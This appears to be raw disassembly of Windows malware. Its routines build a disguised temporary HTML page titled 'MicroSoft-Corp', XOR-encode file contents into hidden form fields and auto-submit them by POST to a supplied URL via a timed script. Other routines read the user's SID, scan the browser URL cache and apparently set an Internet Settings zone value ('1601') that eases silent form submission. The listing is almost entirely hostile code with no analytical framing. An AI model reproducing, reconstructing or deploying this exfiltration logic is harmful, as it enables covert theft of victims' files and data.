; START	OF FUNCTION CHUNK FOR sub_403010


loc_402F80:				; CODE XREF: sub_403010+3Fj
		call	sub_407E28
		mov	ecx, 0Ah
		cdq
		idiv	ecx
		cmp	edx, 5
		jge	short loc_402FC0
		call	sub_407E28
		mov	ecx, 1Ah
		cdq
		idiv	ecx
		mov	edi, edx
		add	edi, 61h
		push	edi
		lea	edi, [ebp-0FFh]
		push	edi
		push	offset aSC	; "%s%c"
		lea	edi, [ebp-0FFh]
		push	edi
		call	sub_407E40
		add	esp, 10h


loc_402FC0:				; CODE XREF: sub_403010-80j
		call	sub_407E28
		mov	ecx, 0Ah
		cdq
		idiv	ecx
		cmp	edx, 5
		jge	short loc_403000
		call	sub_407E28
		mov	ecx, 1Ah
		cdq
		idiv	ecx
		mov	edi, edx
		add	edi, 41h
		push	edi
		lea	edi, [ebp-0FFh]
		push	edi
		push	offset aSC	; "%s%c"
		lea	edi, [ebp-0FFh]
		push	edi
		call	sub_407E40
		add	esp, 10h


loc_403000:				; CODE XREF: sub_403010-40j
					; DATA XREF: .data:loc_41E216r	...
		call	sub_407E28
		mov	ecx, 0Ah	; DATA XREF: .data:0041D2CCr
					; .data:0041D39Aw ...
		cdq
		idiv	ecx
		cmp	edx, 7
; END OF FUNCTION CHUNK	FOR sub_403010

; =============== S U B	R O U T	I N E =======================================



sub_403010	proc near		; DATA XREF: .data:0041D36Do
					; sub_41E239+10o

; FUNCTION CHUNK AT 00402F80 SIZE 00000090 BYTES

		jge	short loc_403040
		call	sub_407E28
		mov	ecx, 9
		cdq
		idiv	ecx
		mov	edi, edx
		add	edi, 30h
		push	edi
		lea	edi, [ebp-0FFh]
		push	edi
		push	offset aSC	; "%s%c"
		lea	edi, [ebp-0FFh]
		push	edi
		call	sub_407E40
		add	esp, 10h


loc_403040:				; CODE XREF: sub_403010j
		add	byte ptr [ebp-100h], 1


loc_403047:				; CODE XREF: sub_402F2F+4Cj
		mov	al, [ebp-100h]
		cmp	al, 0Ah
		jb	loc_402F80
		lea	eax, [ebp-0FFh]
		push	eax
		push	esi
		call	sub_407E64
		push	offset asc_424CE1 ; "--> "
		push	esi
		call	sub_407E64
		add	esp, 10h


loc_403070:				; CODE XREF: sub_402F2F+2Aj
		call	sub_407E28
		mov	ecx, 0Ah
		cdq
		idiv	ecx
		cmp	edx, 5
		jge	loc_40317E
		mov	byte ptr [ebp-0FFh], 0
		mov	byte ptr [ebp-100h], 0
		jmp	loc_403160
; ---------------------------------------------------------------------------


loc_403099:				; CODE XREF: sub_403010+158j
		call	sub_407E28
		mov	ecx, 0Ah
		cdq
		idiv	ecx
		cmp	edx, 4
		jge	short loc_4030D9
		call	sub_407E28
		mov	ecx, 1Ah
		cdq
		idiv	ecx
		mov	edi, edx
		add	edi, 61h
		push	edi
		lea	edi, [ebp-0FFh]
		push	edi
		push	offset aSC	; "%s%c"
		lea	edi, [ebp-0FFh]
		push	edi
		call	sub_407E40
		add	esp, 10h


loc_4030D9:				; CODE XREF: sub_403010+99j
		call	sub_407E28
		mov	ecx, 0Ah
		cdq
		idiv	ecx
		cmp	edx, 4
		jge	short loc_403119
		call	sub_407E28
		mov	ecx, 1Ah
		cdq
		idiv	ecx
		mov	edi, edx
		add	edi, 41h
		push	edi
		lea	edi, [ebp-0FFh]
		push	edi
		push	offset aSC	; "%s%c"
		lea	edi, [ebp-0FFh]
		push	edi
		call	sub_407E40
		add	esp, 10h


loc_403119:				; CODE XREF: sub_403010+D9j
		call	sub_407E28
		mov	ecx, 0Ah
		cdq
		idiv	ecx
		cmp	edx, 3
		jge	short loc_403159
		call	sub_407E28
		mov	ecx, 9
		cdq
		idiv	ecx
		mov	edi, edx
		add	edi, 30h
		push	edi
		lea	edi, [ebp-0FFh]
		push	edi
		push	offset aSC	; "%s%c"
		lea	edi, [ebp-0FFh]
		push	edi
		call	sub_407E40
		add	esp, 10h


loc_403159:				; CODE XREF: sub_403010+119j
		add	byte ptr [ebp-100h], 1


loc_403160:				; CODE XREF: sub_403010+84j
		mov	al, [ebp-100h]
		cmp	al, 32h
		jb	loc_403099
		lea	eax, [ebp-0FFh]
		push	eax
		push	esi
		call	sub_407E64
		add	esp, 8


loc_40317E:				; CODE XREF: sub_403010+70j
		call	sub_407E28
		mov	ecx, 0Ah
		cdq
		idiv	ecx
		cmp	edx, 5
		jge	short loc_40319E
		push	offset aBr	; "<br>"
		push	esi
		call	sub_407E64
		add	esp, 8


loc_40319E:				; CODE XREF: sub_403010+17Ej
		call	sub_407E28
		mov	ecx, 0Ah
		cdq
		idiv	ecx
		cmp	edx, 5
		jge	short loc_4031BE
		push	offset aB_1	; "<b>"
		push	esi
		call	sub_407E64
		add	esp, 8


loc_4031BE:				; CODE XREF: sub_403010+19Ej
		call	sub_407E28
		mov	ecx, 0Ah
		cdq
		idiv	ecx
		cmp	edx, 5
		jge	short loc_4031DE
		push	offset aU_0	; "<u>"
		push	esi
		call	sub_407E64
		add	esp, 8


loc_4031DE:				; CODE XREF: sub_403010+1BEj
		call	sub_407E28
		mov	ecx, 0Ah
		cdq
		idiv	ecx
		cmp	edx, 5
		jge	short loc_4031FE
		push	offset aI_0	; "<i>"
		push	esi
		call	sub_407E64
		add	esp, 8


loc_4031FE:				; CODE XREF: sub_403010+1DEj
		call	sub_407E28
		mov	ecx, 0Ah
		cdq
		idiv	ecx
		cmp	edx, 5
		jge	short loc_40321E
		push	offset aI	; "</i>"
		push	esi
		call	sub_407E64
		add	esp, 8


loc_40321E:				; CODE XREF: sub_403010+1FEj
		call	sub_407E28
		mov	ecx, 0Ah
		cdq
		idiv	ecx
		cmp	edx, 5
		jge	short loc_40323E
		push	offset aB	; "</b>"
		push	esi
		call	sub_407E64
		add	esp, 8


loc_40323E:				; CODE XREF: sub_403010+21Ej
		call	sub_407E28
		mov	ecx, 0Ah
		cdq
		idiv	ecx
		cmp	edx, 5
		jge	short loc_40325E
		push	offset aU	; "</u>"
		push	esi
		call	sub_407E64
		add	esp, 8


loc_40325E:				; CODE XREF: sub_403010+23Ej
		call	sub_407E28
		mov	ecx, 0Ah
		cdq
		idiv	ecx
		cmp	edx, 5
		jge	short loc_40327E
		push	offset aFont	; "</font>"
		push	esi
		call	sub_407E64
		add	esp, 8


loc_40327E:				; CODE XREF: sub_403010+25Ej
		call	sub_407E28
		mov	ecx, 0Ah
		cdq
		idiv	ecx
		cmp	edx, 5
		jge	short loc_40329E
		push	offset aCenter	; "<center>"
		push	esi
		call	sub_407E64
		add	esp, 8


loc_40329E:				; CODE XREF: sub_403010+27Ej
		call	sub_407E28
		mov	ecx, 0Ah
		cdq
		idiv	ecx
		cmp	edx, 5
		jge	short loc_4032BE
		push	offset aCenter_0 ; "</center>"
		push	esi
		call	sub_407E64
		add	esp, 8


loc_4032BE:				; CODE XREF: sub_403010+29Ej
		call	sub_407E28
		mov	ecx, 0Ah
		cdq
		idiv	ecx
		cmp	edx, 5
		jge	short loc_4032DE
		push	offset asc_424CEC ; "\r\n"
		push	esi
		call	sub_407E64
		add	esp, 8


loc_4032DE:				; CODE XREF: sub_403010+2BEj
		pop	edi
		pop	esi
		leave
		retn
sub_403010	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4032E2	proc near		; CODE XREF: sub_4033E8+58p

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		inc	edi
		push	[ebp+arg_0]
		call	sub_407D8C	; GetSidIdentifierAuthority
		mov	esi, eax
		push	[ebp+arg_0]
		call	sub_407DA4	; GetSidSubAuthorityCount
		movzx	edx, byte ptr [eax]
		mov	[ebp+var_8], edx
		mov	eax, 0Ch
		mul	[ebp+var_8]
		mov	[ebp+var_C], eax
		add	eax, 1Ch
		mov	[ebp+var_4], eax
		push	edi
		push	offset aSLu	; "S-%lu-"
		push	[ebp+arg_4]
		call	sub_407C78	; wsprintfA
		add	esp, 0Ch
		mov	[ebp+var_4], eax
		mov	ebx, eax
		add	ebx, [ebp+arg_4]
		cmp	byte ptr [esi],	0
		jnz	short loc_40333B
		cmp	byte ptr [esi+1], 0
		jz	short loc_403382


loc_40333B:				; CODE XREF: sub_4032E2+51j
		movzx	eax, byte ptr [esi+5]
		movzx	eax, ax
		push	eax
		movzx	eax, byte ptr [esi+4]
		movzx	eax, ax
		push	eax
		movzx	eax, byte ptr [esi+3]
		movzx	eax, ax
		push	eax
		movzx	eax, byte ptr [esi+2]
		movzx	eax, ax
		push	eax
		movzx	eax, byte ptr [esi+1]
		movzx	eax, ax
		push	eax
		movzx	eax, byte ptr [esi]
		movzx	eax, ax
		push	eax
		push	offset a0x02hx02hx02hx ; "0x%02hx%02hx%02hx%02hx%02hx%02hx"
		push	ebx
		call	sub_407C78	; wsprintfA
		add	esp, 20h
		mov	edi, eax
		add	[ebp+var_4], edi
		lea	ebx, [ebx+edi]
		jmp	short loc_4033B8
; ---------------------------------------------------------------------------


loc_403382:				; CODE XREF: sub_4032E2+57j
		movzx	edx, byte ptr [esi+5]
		movzx	ecx, byte ptr [esi+4]
		shl	ecx, 8
		add	edx, ecx
		movzx	ecx, byte ptr [esi+3]
		shl	ecx, 10h
		add	edx, ecx
		movzx	ecx, byte ptr [esi+2]
		shl	ecx, 18h
		add	edx, ecx
		push	edx
		push	offset aLu_0	; "%lu"
		push	ebx
		call	sub_407C78	; wsprintfA
		add	esp, 0Ch
		mov	edi, eax
		add	[ebp+var_4], edi
		lea	ebx, [ebx+edi]


loc_4033B8:				; CODE XREF: sub_4032E2+9Ej
		xor	esi, esi
		jmp	short loc_4033DE
; ---------------------------------------------------------------------------


loc_4033BC:				; CODE XREF: sub_4032E2+FFj
		push	esi
		push	[ebp+arg_0]
		call	sub_407D98	; GetSidSubAuthority
		push	dword ptr [eax]
		push	offset aLu	; "-%lu"
		push	ebx
		call	sub_407C78	; wsprintfA
		add	esp, 0Ch
		mov	edi, eax
		add	[ebp+var_4], edi
		lea	ebx, [ebx+edi]
		inc	esi


loc_4033DE:				; CODE XREF: sub_4032E2+D8j
		cmp	esi, [ebp+var_8]
		jb	short loc_4033BC
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4032E2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4033E8	proc near		; CODE XREF: sub_403BC5+123p

var_8		= byte ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	eax
		push	edi
		call	sub_40793C	; GetCurrentProcessId
		mov	edi, eax
		push	edi
		push	0
		push	1F0FFFh
		call	sub_407A80	; OpenProcess
		mov	edi, eax
		lea	eax, [ebp+var_4]
		push	eax
		push	0F00FFh
		push	edi
		call	sub_407D14	; OpenProcessToken
		push	edi
		call	sub_407984	; CloseHandle
		push	4000h
		push	40h
		call	sub_407A5C	; LocalAlloc
		mov	edi, eax
		lea	eax, [ebp+var_8]
		push	eax
		push	4000h
		push	edi
		push	1
		push	[ebp+var_4]
		call	sub_407D20	; GetTokenInformation
		push	[ebp+arg_0]
		push	dword ptr [edi]
		call	sub_4032E2
		add	esp, 8
		push	edi
		call	sub_407A68	; LocalFree
		push	[ebp+var_4]
		call	sub_407984	; CloseHandle
		pop	edi
		leave
		retn
sub_4033E8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403459	proc near		; CODE XREF: sub_403D8E+2F4p
					; sub_40409C+3p

var_4		= byte ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	edi
		push	0
		push	80h
		push	4
		push	0
		push	0
		push	0C0000000h
		push	[ebp+arg_0]
		call	sub_407A8C	; CreateFileA
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jnz	short loc_403483
		xor	eax, eax
		jmp	short loc_4034AA
; ---------------------------------------------------------------------------


loc_403483:				; CODE XREF: sub_403459+24j
		push	2
		push	0
		push	0
		push	edi
		call	sub_407ABC	; SetFilePointer
		push	0
		lea	eax, [ebp+var_4]
		push	eax
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	edi
		call	sub_407B40	; WriteFile
		push	edi
		call	sub_407984	; CloseHandle
		xor	eax, eax
		inc	eax


loc_4034AA:				; CODE XREF: sub_403459+28j
		pop	edi
		leave
		retn
sub_403459	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4034AD	proc near		; CODE XREF: sub_403D8E+274p

var_2F46	= word ptr -2F46h
var_2F43	= byte ptr -2F43h
var_1F44	= dword	ptr -1F44h
var_1F40	= byte ptr -1F40h
var_1F3C	= dword	ptr -1F3Ch
var_1F38	= dword	ptr -1F38h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 2F48h
		call	sub_4078CC
		push	ebx
		push	esi
		push	edi
		mov	esi, [ebp+arg_4]
		push	[ebp+arg_0]
		lea	eax, [ebp+var_2F43]
		push	eax
		call	sub_4078EC
		push	1
		push	offset a?	; "?"
		lea	eax, [ebp+var_2F43]
		push	eax
		call	sub_401429
		add	esp, 0Ch
		mov	ebx, eax
		mov	[ebp+var_2F46],	bx
		movzx	eax, [ebp+var_2F46]
		cmp	eax, 0FFFFh
		jz	short loc_40350B
		movzx	eax, [ebp+var_2F46]
		mov	[ebp+eax+var_2F43], 0


loc_40350B:				; CODE XREF: sub_4034AD+4Dj
		mov	[ebp+var_1F44],	1F40h
		lea	eax, [ebp+var_1F44]
		push	eax
		lea	eax, [ebp+var_1F40]
		push	eax
		push	offset a_	; "*.*"
		call	sub_406E4C	; FindFirstUrlCacheEntryA
		mov	edi, eax
		or	eax, eax
		jz	short loc_4035AD
		lea	eax, [ebp+var_2F43]
		push	eax
		push	[ebp+var_1F3C]
		call	sub_407DD4
		add	esp, 8
		or	eax, eax
		jnz	short loc_40355D
		push	[ebp+var_1F38]
		push	esi
		call	sub_4078EC
		xor	eax, eax
		inc	eax
		jmp	short loc_4035AD
; ---------------------------------------------------------------------------


loc_40355D:				; CODE XREF: sub_4034AD+9Dj
					; sub_4034AD:loc_4035A9j
		mov	[ebp+var_1F44],	1F40h
		lea	eax, [ebp+var_1F44]
		push	eax
		lea	eax, [ebp+var_1F40]
		push	eax
		push	edi
		call	sub_406E58	; FindNextUrlCacheEntryA
		or	eax, eax
		jz	short loc_4035AB
		lea	eax, [ebp+var_2F43]
		push	eax
		push	[ebp+var_1F3C]
		call	sub_407DD4
		add	esp, 8
		or	eax, eax
		jnz	short loc_4035A9
		push	[ebp+var_1F38]
		push	esi
		call	sub_4078EC
		xor	eax, eax
		inc	eax
		jmp	short loc_4035AD
; ---------------------------------------------------------------------------


loc_4035A9:				; CODE XREF: sub_4034AD+E9j
		jmp	short loc_40355D
; ---------------------------------------------------------------------------


loc_4035AB:				; CODE XREF: sub_4034AD+D0j
		xor	eax, eax


loc_4035AD:				; CODE XREF: sub_4034AD+84j
					; sub_4034AD+AEj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4034AD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4035B2	proc near		; CODE XREF: sub_403659+36Bp

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_2		= word ptr -2
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	ebx
		push	esi
		push	edi
		mov	ebx, [ebp+arg_0]
		push	ebx
		call	sub_407B4C	; lstrlenA
		mov	[ebp+var_8], eax
		mov	edi, eax
		shl	edi, 1
		add	edi, 8
		push	edi
		push	40h
		call	sub_407A5C	; LocalAlloc
		mov	[ebp+var_C], eax
		xor	esi, esi
		jmp	short loc_4035F3
; ---------------------------------------------------------------------------


loc_4035DD:				; CODE XREF: sub_4035B2+44j
		movzx	eax, byte ptr [ebx+esi]
		xor	eax, 71h
		or	eax, eax
		jz	short loc_4035F2
		movzx	eax, byte ptr [ebx+esi]
		xor	eax, 71h
		mov	[ebx+esi], al


loc_4035F2:				; CODE XREF: sub_4035B2+34j
		inc	esi


loc_4035F3:				; CODE XREF: sub_4035B2+29j
		cmp	esi, [ebp+var_8]
		jb	short loc_4035DD
		mov	[ebp+var_2], 0
		jmp	short loc_403648
; ---------------------------------------------------------------------------


loc_403600:				; CODE XREF: sub_4035B2+9Dj
		movzx	edi, [ebp+var_2]
		movzx	edi, byte ptr [ebx+edi]
		mov	eax, edi
		mov	ecx, 1Ah
		cdq
		idiv	ecx
		mov	esi, edx
		add	esi, 61h
		push	esi
		mov	eax, edi
		mov	ecx, 1Ah
		mov	edx, 4EC4EC4Fh
		mul	edx
		shr	edx, 3
		mov	[ebp+var_10], edx
		mov	edi, edx
		add	edi, 61h
		push	edi
		mov	edi, [ebp+var_C]
		push	edi
		push	offset aSCC	; "%s%c%c"
		push	edi
		call	sub_407E40
		add	esp, 14h
		inc	[ebp+var_2]


loc_403648:				; CODE XREF: sub_4035B2+4Cj
		movzx	eax, [ebp+var_2]
		cmp	eax, [ebp+var_8]
		jb	short loc_403600
		mov	eax, [ebp+var_C]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4035B2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403659	proc near		; CODE XREF: sub_403D8E+BEp

var_30048	= dword	ptr -30048h
var_30044	= dword	ptr -30044h
var_30040	= dword	ptr -30040h
var_3003C	= dword	ptr -3003Ch
var_30038	= dword	ptr -30038h
var_30034	= dword	ptr -30034h
var_3002C	= byte ptr -3002Ch
var_30022	= byte ptr -30022h
var_30018	= dword	ptr -30018h
var_30014	= dword	ptr -30014h
var_30010	= dword	ptr -30010h
var_3000C	= dword	ptr -3000Ch
var_30008	= byte ptr -30008h
var_20008	= dword	ptr -20008h
var_20003	= byte ptr -20003h
var_10004	= dword	ptr -10004h
var_10000	= byte ptr -10000h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		mov	eax, 30048h
		call	sub_4078CC
		push	ebx
		push	esi
		push	edi
		and	[ebp+var_30014], 0
		and	[ebp+var_20008], 0
		and	[ebp+var_30010], 0
		lea	eax, [ebp+var_10004]
		push	eax
		push	[ebp+arg_4]
		call	sub_4014E2
		add	esp, 8
		mov	esi, eax
		mov	eax, [ebp+var_10004]
		or	eax, eax
		jz	short loc_4036A5
		or	esi, esi
		jz	short loc_4036A5
		cmp	[ebp+arg_14], eax
		jb	short loc_4036B5


loc_4036A5:				; CODE XREF: sub_403659+41j
					; sub_403659+45j
		push	esi
		call	sub_407A68	; LocalFree
		mov	[ebp+var_30014], 1


loc_4036B5:				; CODE XREF: sub_403659+4Aj
		push	[ebp+arg_C]
		call	sub_407B4C	; lstrlenA
		mov	[ebp+var_30034], eax
		mov	eax, 64h
		mul	[ebp+var_10004]
		mov	[ebp+var_30038], eax
		mov	edi, [ebp+var_30034]
		imul	edi, [ebp+var_30034], 32h
		mov	edx, [ebp+var_30038]
		lea	edi, [edx+edi+1000h]
		push	edi
		push	40h
		call	sub_407A5C	; LocalAlloc
		mov	ebx, eax
		push	[ebp+arg_0]
		push	104h
		call	sub_4079A8	; GetTempPathA
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_3003C], eax
		mov	ecx, eax
		or	eax, 0FFFFFFFFh


loc_403713:				; CODE XREF: sub_403659+BFj
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_403713
		mov	edi, eax
		push	8
		mov	edx, [ebp+var_3003C]
		add	edx, edi
		push	edx
		call	sub_4013E4
		add	esp, 8
		push	offset a_htm	; ".htm"
		push	[ebp+arg_0]
		call	sub_407E64
		add	esp, 8
		push	offset aHtml	; "<html>"
		push	ebx
		call	sub_402F2F
		add	esp, 8
		push	offset aHead	; "<head>"
		push	ebx
		call	sub_402F2F
		add	esp, 8
		push	[ebp+arg_1C]
		push	offset aMicrosoftCorp ;	"MicroSoft-Corp"
		push	offset aTitleSUTitle ; "<title>%s%u</title>"
		lea	eax, [ebp+var_20003]
		push	eax
		call	sub_407E40
		add	esp, 10h
		lea	eax, [ebp+var_20003]
		push	eax
		push	ebx
		call	sub_402F2F
		add	esp, 8
		push	offset aHead_0	; "</head>"
		push	ebx
		call	sub_402F2F
		add	esp, 8
		push	offset aBody	; "<body>"
		push	ebx
		call	sub_402F2F
		add	esp, 8
		call	sub_407E28
		mov	ecx, 3E8h
		cdq
		idiv	ecx
		push	edx
		push	offset aF_3u	; "f%.3u"
		lea	edi, [ebp+var_30022]
		push	edi
		call	sub_407E40
		add	esp, 0Ch
		lea	eax, [ebp+var_30022]
		push	eax
		push	[ebp+arg_8]
		push	offset aFormActionSMet ; "<form	action=\"%s\" method=\"POST\" name=\"%"...
		lea	eax, [ebp+var_20003]
		push	eax
		call	sub_407E40
		add	esp, 10h
		lea	eax, [ebp+var_20003]
		push	eax
		push	ebx
		call	sub_402F2F
		add	esp, 8
		call	sub_407E28
		mov	ecx, 9
		cdq
		idiv	ecx
		mov	edi, edx
		add	edi, 14h
		push	edi
		push	offset aInputTypeEditV ; "<input type=\"edit\" value='%u' name='a'>"...
		lea	edi, [ebp+var_20003]
		push	edi
		call	sub_407E40
		add	esp, 0Ch
		lea	eax, [ebp+var_20003]
		push	eax
		push	ebx
		call	sub_402F2F
		add	esp, 8
		cmp	[ebp+var_30014], 0
		jnz	loc_403A3A
		cmp	[ebp+arg_18], 0
		jz	loc_403937
		and	[ebp+var_30040], 0
		jmp	loc_40391A
; ---------------------------------------------------------------------------


loc_40384D:				; CODE XREF: sub_403659+2CDj
		mov	[ebp+var_10000], 0
		and	[ebp+var_30044], 0
		jmp	short loc_4038CD
; ---------------------------------------------------------------------------


loc_40385D:				; CODE XREF: sub_403659+27Ej
		mov	eax, [ebp+var_30040]
		add	eax, [ebp+var_30044]
		cmp	eax, [ebp+var_10004]
		jnb	short loc_4038D9
		mov	edi, [ebp+var_30040]
		add	edi, [ebp+var_30044]
		movzx	edi, byte ptr [esi+edi]
		mov	eax, edi
		mov	ecx, 1Ah
		cdq
		idiv	ecx
		add	edx, 61h
		push	edx
		mov	eax, edi
		mov	ecx, 1Ah
		mov	edx, 4EC4EC4Fh
		mul	edx
		shr	edx, 3
		mov	[ebp+var_30048], edx
		mov	edi, edx
		add	edi, 61h
		push	edi
		lea	edi, [ebp+var_10000]
		push	edi
		push	offset aSCC	; "%s%c%c"
		lea	edi, [ebp+var_10000]
		push	edi
		call	sub_407E40
		add	esp, 14h
		inc	[ebp+var_30044]


loc_4038CD:				; CODE XREF: sub_403659+202j
		cmp	[ebp+var_30044], 80h
		jb	short loc_40385D


loc_4038D9:				; CODE XREF: sub_403659+216j
		push	[ebp+var_20008]
		push	[ebp+arg_10]
		lea	eax, [ebp+var_10000]
		push	eax
		push	offset aInputTypeEdi_0 ; "<input type=\"edit\" value='%s' name='%s%"...
		lea	eax, [ebp+var_20003]
		push	eax
		call	sub_407E40
		lea	eax, [ebp+var_20003]
		push	eax
		push	ebx
		call	sub_402F2F
		add	esp, 1Ch
		add	[ebp+var_30040], 80h
		inc	[ebp+var_20008]


loc_40391A:				; CODE XREF: sub_403659+1EFj
		mov	eax, [ebp+var_10004]
		cmp	[ebp+var_30040], eax
		jb	loc_40384D
		mov	[ebp+var_30010], eax
		jmp	loc_403A3A
; ---------------------------------------------------------------------------


loc_403937:				; CODE XREF: sub_403659+1E2j
		mov	eax, [ebp+arg_14]
		mov	[ebp+var_10004], eax
		jmp	loc_403A16
; ---------------------------------------------------------------------------


loc_403945:				; CODE XREF: sub_403659+3DBj
		cmp	[ebp+var_10000], 0
		jz	loc_403A16
		mov	eax, [ebp+arg_14]
		add	eax, 0C800h
		cmp	[ebp+var_10004], eax
		jnb	loc_403A3A
		mov	eax, [ebp+var_10004]
		mov	[ebp+var_30010], eax
		push	[ebp+arg_C]
		push	offset aS	; "%s|"
		lea	eax, [ebp+var_30008]
		push	eax
		call	sub_407E40
		add	esp, 0Ch
		lea	ecx, [ebp+var_30008]
		or	eax, 0FFFFFFFFh


loc_403992:				; CODE XREF: sub_403659+33Ej
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_403992
		mov	edi, eax
		mov	word ptr [ebp+var_30040+2], di
		lea	eax, [ebp+var_10000]
		push	eax
		movzx	eax, word ptr [ebp+var_30040+2]
		lea	eax, [ebp+eax+var_30008]
		push	eax
		call	sub_4078EC
		lea	eax, [ebp+var_30008]
		push	eax
		call	sub_4035B2
		add	esp, 4
		mov	[ebp+var_3000C], eax
		push	[ebp+var_20008]
		push	[ebp+arg_10]
		push	[ebp+var_3000C]
		push	offset aInputTypeEdi_0 ; "<input type=\"edit\" value='%s' name='%s%"...
		lea	eax, [ebp+var_20003]
		push	eax
		call	sub_407E40
		add	esp, 14h
		lea	eax, [ebp+var_20003]
		push	eax
		push	ebx
		call	sub_402F2F
		add	esp, 8
		push	[ebp+var_3000C]
		call	sub_407A68	; LocalFree
		inc	[ebp+var_20008]


loc_403A16:				; CODE XREF: sub_403659+2E7j
					; sub_403659+2F3j
		lea	eax, [ebp+var_10000]
		push	eax
		push	[ebp+var_10004]
		push	esi
		call	sub_401560
		add	esp, 0Ch
		mov	[ebp+var_10004], eax
		or	eax, eax
		jnz	loc_403945


loc_403A3A:				; CODE XREF: sub_403659+1D8j
					; sub_403659+2D9j ...
		push	offset aInputTypeSubmi ; "<input type=\"submit\" value=''>"
		push	ebx
		call	sub_402F2F
		push	offset aForm	; "</form>"
		push	ebx
		call	sub_402F2F
		push	offset aScript	; "<script>"
		push	ebx
		call	sub_402D21
		call	sub_407E28
		mov	[ebp+var_30040], eax
		call	sub_407E28
		mov	ecx, 63h
		cdq
		idiv	ecx
		push	edx
		mov	edi, [ebp+var_30040]
		mov	eax, edi
		mov	ecx, 14h
		cdq
		idiv	ecx
		mov	edi, edx
		add	edi, 61h
		push	edi
		push	offset aC_2u	; "%c%.2u"
		lea	edi, [ebp+var_3002C]
		push	edi
		call	sub_407E40
		lea	eax, [ebp+var_3002C]
		push	eax
		push	offset aFunctionS ; "function %s(){"
		lea	eax, [ebp+var_20003]
		push	eax
		call	sub_407E40
		lea	eax, [ebp+var_20003]
		push	eax
		push	ebx
		call	sub_402D21
		lea	eax, [ebp+var_30022]
		push	eax
		push	offset aDocument_S_sub ; "document.%s.submit();"
		lea	eax, [ebp+var_20003]
		push	eax
		call	sub_407E40
		lea	eax, [ebp+var_20003]
		push	eax
		push	ebx
		call	sub_402D21
		push	offset asc_424B31 ; "}"
		push	ebx
		call	sub_402D21
		call	sub_407E28
		mov	ecx, 3E8h
		cdq
		idiv	ecx
		mov	edi, edx
		add	edi, 2710h
		push	edi
		lea	edi, [ebp+var_3002C]
		push	edi
		push	offset aSettimeoutSU ; "setTimeout(\"%s()\",%u);"
		lea	edi, [ebp+var_20003]
		push	edi
		call	sub_407E40
		lea	eax, [ebp+var_20003]
		push	eax
		push	ebx
		call	sub_402D21
		push	offset aScript_0 ; "</script>"
		push	ebx
		call	sub_402F2F
		push	offset aBody_0	; "</body>"
		push	ebx
		call	sub_402F2F
		push	offset aHtml_0	; "</html>"
		push	ebx
		call	sub_407E64
		push	[ebp+arg_0]
		call	sub_4024E0
		add	esp, 8Ch
		push	0
		push	0
		push	2
		push	0
		push	0
		push	40000000h
		push	[ebp+arg_0]
		call	sub_407A8C	; CreateFileA
		mov	[ebp+var_30018], eax
		push	ebx
		call	sub_407B4C	; lstrlenA
		push	0
		lea	edi, [ebp+var_20008]
		push	edi
		push	eax
		push	ebx
		push	[ebp+var_30018]
		call	sub_407B40	; WriteFile
		push	[ebp+var_30018]
		call	sub_407984	; CloseHandle
		push	ebx
		call	sub_407A68	; LocalFree
		cmp	[ebp+var_30014], 0
		jnz	short loc_403BB5
		push	esi
		call	sub_407A68	; LocalFree
		jmp	short loc_403BBA
; ---------------------------------------------------------------------------


loc_403BB5:				; CODE XREF: sub_403659+552j
		or	eax, 0FFFFFFFFh
		jmp	short loc_403BC0
; ---------------------------------------------------------------------------


loc_403BBA:				; CODE XREF: sub_403659+55Aj
		mov	eax, [ebp+var_30010]


loc_403BC0:				; CODE XREF: sub_403659+55Fj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_403659	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403BC5	proc near		; CODE XREF: sub_403D8E:loc_403E12p

var_210A	= byte ptr -210Ah
var_110C	= byte ptr -110Ch
var_110B	= byte ptr -110Bh
var_10C		= dword	ptr -10Ch
var_108		= dword	ptr -108h
var_101		= byte ptr -101h
var_100		= byte ptr -100h

		push	ebp
		mov	ebp, esp
		mov	eax, 210Ch
		call	sub_4078CC
		and	[ebp+var_108], 0
		mov	[ebp+var_101], 0
		jmp	loc_403CA5
; ---------------------------------------------------------------------------


loc_403BE5:				; CODE XREF: sub_403BC5+E8j
		movzx	eax, [ebp+var_101]
		push	eax
		push	offset aSoftwareMicr_0 ; "SOFTWARE\\Microsoft\\Windows\\CurrentVersi"...
		lea	eax, [ebp+var_100]
		push	eax
		call	sub_407E40
		push	4
		push	4
		lea	eax, [ebp+var_108]
		push	eax
		push	offset a1601	; "1601"
		lea	eax, [ebp+var_100]
		push	eax
		push	80000001h
		call	sub_401379
		push	4
